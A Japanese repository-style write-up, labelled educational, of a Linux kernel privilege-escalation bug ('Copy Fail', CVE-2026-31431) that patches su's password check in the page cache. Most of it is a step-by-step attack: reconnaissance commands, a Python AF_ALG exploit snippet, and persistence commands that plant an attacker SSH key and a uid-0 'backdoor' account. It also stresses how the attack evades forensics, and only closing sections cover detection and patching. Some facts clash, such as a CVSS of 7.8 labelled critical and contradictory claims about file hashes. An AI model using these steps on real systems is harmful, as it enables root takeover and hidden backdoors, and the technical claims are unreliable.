
LinuxカーネルにおけるCopy Fail脆弱性(CVE-2026-31431)の詳細な分析。メモリ破壊のメカニズム、権限昇格のフロー、およびセキュリティへの影響を含む。
LinuxカーネルにおけるCopy Fail脆弱性の教育目的の分析。
メモリ破壊メカニズム、権限昇格フロー、コンテナエスケープ、防御策を解説します。
このリポジトリは教育および研究目的のみを対象としています。
所有していないシステム、または明示的な書面によるテスト許可がないシステムでこの情報を使用しないでください。
すべてのコードスニペットとコマンドは、Linuxカーネル内部の理解を助けるためにのみ提供されています。
CVE-2026-31431、別名 Copy Fail は、Linuxカーネルの脆弱性であり、特権のないローカルユーザーが特別な権限なしにrootへ昇格できるものです。
攻撃は完全にRAM内で行われます。ディスクファイルには一切触れません。つまり、ファイルハッシュはクリーンなままで、タイムスタンプは変更されず、監査ログには何も記録されません。システムが再起動すると、すべての証拠が消えます。
通常ユーザー → algif_aeadバグを悪用 → ページキャッシュを上書き → root
主な特性:
| フィールド | 値 |
|---|---|
| CVE ID | CVE-2026-31431 |
| 通称 | Copy Fail / algif_aead ページキャッシュ破壊 |
| CVSS v3.1 スコア | 7.8 — CRITICAL |
| 攻撃タイプ | ローカル権限昇格 (LPE) |
| 影響を受けるカーネルバージョン | Linux 5.10 ~ 6.8 (概算) |
| 脆弱なコンポーネント | crypto/algif_aead.c — AF_ALG ソケットインターフェース |
| 悪用の信頼性 | 高 — レースコンディション不要 |
| ディスク上の証拠 | なし — RAMのみの変更 |
| コンテナへの影響 | あり — 共有ページキャッシュによるホストエスケープ |
| パッチ状況 | 利用可能 (上流カーネルパッチ公開済み) |
/usr/bin/su — 標的バイナリsu (Switch User) は、ユーザーが別のアカウント — 通常はroot — に切り替えることを可能にします。これはSetUIDバイナリです:
ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
# ^-- 's' = SetUIDフラグ
s フラグの意味: 任意のユーザーがこのバイナリを実行すると、rootの権限で実行されます。これにより、価値の高い標的となります。
その内部ロジック (簡略化):
if (password_correct()) {
give_root_access();
} else {
deny_access();
}
攻撃目標: password_correct() チェックを完全にスキップすること。
Linuxがディスクからファイルを読み取ると、ページキャッシュと呼ばれるRAMにコピーを保持します。
| コンポーネント | 説明 |
|---|---|
| ディスク | ディスク上の元のファイル (本棚) |
| ページキャッシュ | ファイルのRAMコピー (机の上のコピー) |
| CPU | ページキャッシュから読み取り・実行 — 高速 |
| 攻撃者 | RAMコピーを変更; ディスクはそのまま |
cat /proc/meminfo | grep Cached
# Cached: 1234567 kB ← これがページキャッシュ
| タイプ | セキュリティ |
|---|---|
| セーフバッファ — カーネル割り当て、サイズと境界が制御されている | ✅ OK |
| ページキャッシュ — ファイルバッキングされたRAMコピー、共有、実行可能 | ⚠️ 書き込み可能な場合は危険 |
| 誤ったポインタ — バグにより任意の場所を指すアドレス | 🔴 CRITICAL |
AF_ALG (Algorithm Family) は、ユーザースペースプログラムがカーネルの暗号機能 (AES、SHA、AEAD) を使用できるようにするLinuxソケットインターフェースです。
socket(AF_ALG, SOCK_SEQPACKET, 0); // 暗号ソケットを開く
algif_aead は、AF_ALGを介してAEAD暗号化 (例: AES-GCM) を処理するカーネルモジュールです。脆弱性はそのデータコピーステップに存在します。
AF_ALG → algif_aead → AES-GCMエンジン → 出力バッファ
↑
バグはここ
このバグは暗号化ロジックにはありません。メモリ処理にあります — データコピー中に誤ったメモリ領域が選択されます。
destination = safe_output_buffer; // 正しい場所
memcpy(destination, user_data, size); // データが安全に書き込まれる
destination = buffer + WRONG_OFFSET; // バグ: 誤ったポインタ!
memcpy(destination, user_data, size); // データがページキャッシュに書き込まれる
カーネルはセーフ出力バッファに書き込むはずでした。オフセットの計算ミスにより、/usr/bin/su のRAMコピーを保持するページキャッシュに書き込まれます。
このバイナリにはx86-64マシンコードが含まれています。攻撃者は認証失敗をトリガーする条件付きジャンプを標的にします:
攻撃前:
cmp eax, 0 ; 戻り値をチェック
jne 0x1234 ; 失敗の場合 → 拒否へジャンプ
call give_root ; rootを付与
攻撃後 (RAM内で2バイト変更):
cmp eax, 0 ; 同じ
90 90 ; NOP NOP ← ジャンプが置き換えられ、チェックがスキップされる!
call give_root ; CPUはここに直接到達
NOP = No Operation (無操作)。CPUは何もせずに次へ進みます — 認証チェックを完全にスキップします。
「通常のユーザーアカウントだけで十分だ。カーネルが自らミスをする。
ディスクはクリーンのまま。ログも残らない。毎回成功する。」
whoami && id
# uid=1000(user) gid=1000(user) ← 通常ユーザー
uname -r
# 6.1.0-generic ← 脆弱な範囲内
ls -la /usr/bin/su
# -rwsr-xr-x root root ← SetUID確認済み
python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG available')"
cat /usr/bin/su > /dev/null
# /usr/bin/su がページキャッシュに読み込まれた ✓
xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su
探すもの: 認証関数のアドレス、jne/jnz 条件付きジャンプ、およびその正確なバイトオフセット。
import socket, struct
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)
payload = b'\x90\x90' # NOP NOP — 条件付きジャンプを置き換える
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])
# カーネル内部 (簡略化):
destination = buffer + crafted_offset # バグ: 誤ったポインタ
memcpy(destination, payload, 2) # NOPバイトがページキャッシュに書き込まれる
# /usr/bin/su のパスワードチェックがRAM内でNOP NOPになる
su
# Password: (何でも — またはEnterを押すだけ)
# root@victim:/# ← ROOT取得
何が起こったか: システムはRAMから /usr/bin/su を実行しました。パスワードチェックはNOPでした。CPUはそれをスキップしました。give_root() が直接呼び出されました。
echo 'attacker_public_key' >> /root/.ssh/authorized_keys
useradd -o -u 0 -g 0 backdoor
echo 'backdoor:password' | chpasswd
| CVE | レースコンディション? | ディスク安全? | 信頼性 |
|---|---|---|---|
| CVE-2016-5195 DirtyCow | あり — タイミング必要 | いいえ — ディスク変更 | 中 |
| CVE-2022-0847 DirtyPipe | 最小限 | はい — RAMのみ | 高 |
| CVE-2026-31431 Copy Fail | なし — 直接書き込み | はい — RAMのみ | 非常に高 |
攻撃後、フォレンジック調査員は次のことを発見します:
sha256sum /usr/bin/su # 以前と同じハッシュ ← ディスクは無傷
diff /usr/bin/su backup/su # 違いなし
grep -r 'attack' /var/log/ # 何もなし
auditd logs # ファイル書き込みは記録されていない
再起動するとRAMはフラッシュされ、すべての証拠が消えます。
| 検出方法 | 機能するか? |
|---|---|
| sha256sum / ファイルハッシュ | ❌ ディスクは同一 |
| ファイル変更タイムスタンプ | ❌ ディスクは無傷 |
| auditd ファイル書き込みログ | ❌ ディスク書き込みは発生していない |
プロセスメモリ検査 (/proc) | ✅ リアルタイムで監視されている場合のみ |
| eBPFカーネル監視 | ✅ システムコールレベルの検出 |
| メモリフォレンジック (LiME) | ✅ ただし複雑 |
コンテナはユーザースペースを分離します — しかしカーネルは共有されており、ページキャッシュはカーネルメモリです。
ホストカーネル
├── コンテナ 1 (分離されたユーザースペース)
│ └── 攻撃者はここにいる
├── コンテナ 2
└── ホストプロセス
ページキャッシュ: すべてのコンテナとホスト間で共有!
エスケープ経路: コンテナ1の攻撃者がホストの /usr/bin/su を読み取る → バグをトリガー → ホストのバイナリがRAM内で変更される → ホストで su を実行するとホストマシン上でrootが得られる。
影響を受けるもの: Docker、Podman、LXC、Kubernetes (共有ノード) — ホストカーネルが脆弱な場合。
これらは観察演習のみです。テストにはラボ環境 (Docker + 旧カーネルVM) を使用してください。
free -h # 前のCache値を確認
cat /usr/bin/su > /dev/null # ファイルをページキャッシュに読み込む
free -h # Cacheがわずかに増加
su &
sleep 1
PID=$(pgrep su | head -1)
cat /proc/$PID/maps | grep su
xxd /usr/bin/su | head -20
strings /usr/bin/su | grep -E 'pass|auth|root|fail'
sudo apt install gdb -y
gdb /usr/bin/su
(gdb) disassemble main
(gdb) info functions
(gdb) quit
sha256sum /usr/bin/su
# 通常はディスクと同じ — 攻撃成功後は異なる
# /proc/PID/mem の比較にはrootが必要
優先度 1 — カーネル更新 (最善の修正)
# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot